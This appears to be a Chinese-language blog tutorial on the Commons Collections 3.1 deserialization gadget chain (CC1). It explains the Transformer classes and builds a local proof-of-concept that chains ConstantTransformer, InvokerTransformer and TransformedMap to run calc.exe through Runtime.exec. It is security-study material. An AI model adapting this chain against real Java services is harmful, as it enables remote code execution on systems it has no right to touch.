gk0d

前言

由于CC链还是比较复杂的,我们可以先看命令执行的部分payload之后再加上反序列化部分组成一个完整的payload

调试一

项目导入依赖,这里使用3.1版本

<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.1</version>
</dependency>

先来看看以下几个类

Transformer

Transformer是⼀个接⼝,它只有⼀个待实现的⽅法

public interface Transformer {
    public Object transform(Object input);
}

TransformedMap在转换Map的新元素时,就会调⽤transform⽅法,这个过程就类似在调⽤⼀个”回调函数“,这个回调的参数是原始对象

InvokerTransformer

InvokerTransformer是实现了Transformer接⼝的⼀个类,这个类可以⽤来执⾏任意⽅法,这也是反序列化能执⾏任意代码的关键。 在实例化这个InvokerTransformer时,需要传⼊三个参数,第⼀个参数是待执⾏的⽅法名,第⼆个参数是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表;

关键代码如下:

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName; //函数名        
        this.iParamTypes = paramTypes; //函数参数的类型        
        this.iArgs = args;             //参数对象
}
   public Object transform(Object input) {
   Class cls = input.getClass();     //获取input的类
   Method method = cls.getMethod(this.iMethodName, this.iParamTypes); //调用方法
   return method.invoke(input, this.iArgs);              //执行
}

image-20221109182211850

很清楚的可以看到,方法名方法所需的参数类型方法的参数,我们都可以控制,通过Java反射机制,我们可以构造一个命令执行:

public class Test {
    public static void main(String[] args) throws Exception {
        Runtime runtime = Runtime.getRuntime();
        Transformer invoketransformer = new InvokerTransformer("exec",
                                        new Class[]{String.class},
                                        new Object[]{"calc.exe"});
        invoketransformer.transform(runtime);
    }
}

image-20221109220105415

这就需要一个条件,在调用transform方法的时候,需要传递一个Runtime.getRuntime(),这几乎是不可能的,没有人会在反序列化后调用transform方法还传递一个Runtime的实例进去。我们需要把攻击所需要的条件尽可能的缩小,实现在反序列化时就能够rce,所以需要想办法把传递Runtime.getRuntime()这一条件给去掉。接着就找到了ConstantTransformer这个类

ConstantTransformer

ConstantTransformer是实现了Transformer接⼝的⼀个类,它的过程就是在构造函数的时候传⼊⼀个对象,并在transform⽅法将这个对象再返回:

public ConstantTransformer(Object constantToReturn) {
    super();
    iConstant = constantToReturn;
}
    public Object transform(Object input) {
    return iConstant;
}

所以他的作⽤其实就是包装任意⼀个对象,在执⾏回调时返回这个对象,进⽽⽅便后续操作,那么和上面的InvokerTransformer搭配一下

public class Test {
    public static void main(String[] args) throws Exception {
        Object constantTransformer= new ConstantTransformer(Runtime.getRuntime()).transform(123);
        Transformer invoketransformer = new InvokerTransformer("exec",
                                        new Class[]{String.class},
                                        new Object[]{"calc.exe"});
        invoketransformer.transform(constantTransformer);
    }
}

ChainedTransformer

ChainedTransformer也是实现了Transformer接⼝的⼀个类,它的作⽤是将内部的多个Transformer串在⼀起。其transform方法实现了对每个传入的transformer都调用其transform方法,并将结果作为下一次的输入传递进去。

ChainedTransformertransform函数如下

public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }
        return object;
}

ChainedTransformer类的构造函数,其中iTransformers数组是用户自己定义的:

三个继续搭配一下

public class Test {
    public static void main(String[] args) throws Exception {
        ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new Object[]{"calc.exe"})
        });
        chain.transform(123);
    }
}

image-20221109221740566

此时只要ChainedTransformer反序列化后调用transform方法并传递任意内容即可实现rce

TransformedMap

TransformedMap⽤于对Java标准数据结构Map做⼀个修饰,被修饰过的Map在添加新的元素时,将可以执⾏⼀个回调。我们通过下⾯这⾏代码对innerMap进⾏修饰,传出的outerMap即是修饰后的Map

Map outerMap = TransformedMap.decorate(innerMap, keyTransformer,
valueTransformer);

其中,keyTransformer是处理新元素的Key的回调,valueTransformer是处理新元素的value的回调。 我们这⾥所说的”回调“,并不是传统意义上的⼀个回调函数,⽽是⼀个实现了Transformer接⼝的类。也就是可以调用其他的tramsform,这一点很关键

payload

public class CommonCollections1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class},
                        new Object[]{"C:/Windows/System32/calc.exe"}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        outerMap.put("test", "xxxx");
    }
}

首先创建了⼀个ChainedTransformer,其中包含两个Transformer:第⼀个是ConstantTransformer, 直接返回当前环境的Runtime对象;第⼆个是InvokerTransformer,执⾏Runtime对象的exec⽅法,参 数是C:/Windows/System32/calc.exe 。 当然,这个transformerChain只是⼀系列回调,我们需要⽤其来包装innerMap,使⽤的前⾯说到的 TransformedMap.decorate

Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, chain);

最后,怎么触发回调呢?就是向Map中放⼊⼀个新的元素:

outerMap.put("test", "xxxx");

image-20221109222453074

小结

到这儿,总算是有点思绪,当然,上⾯的代码执⾏demo,它只是⼀个⽤来在本地测试的类。在实际反序列化漏洞中,我们需要将上⾯最终⽣成的outerMap对象变成⼀个序列化流

相关文章: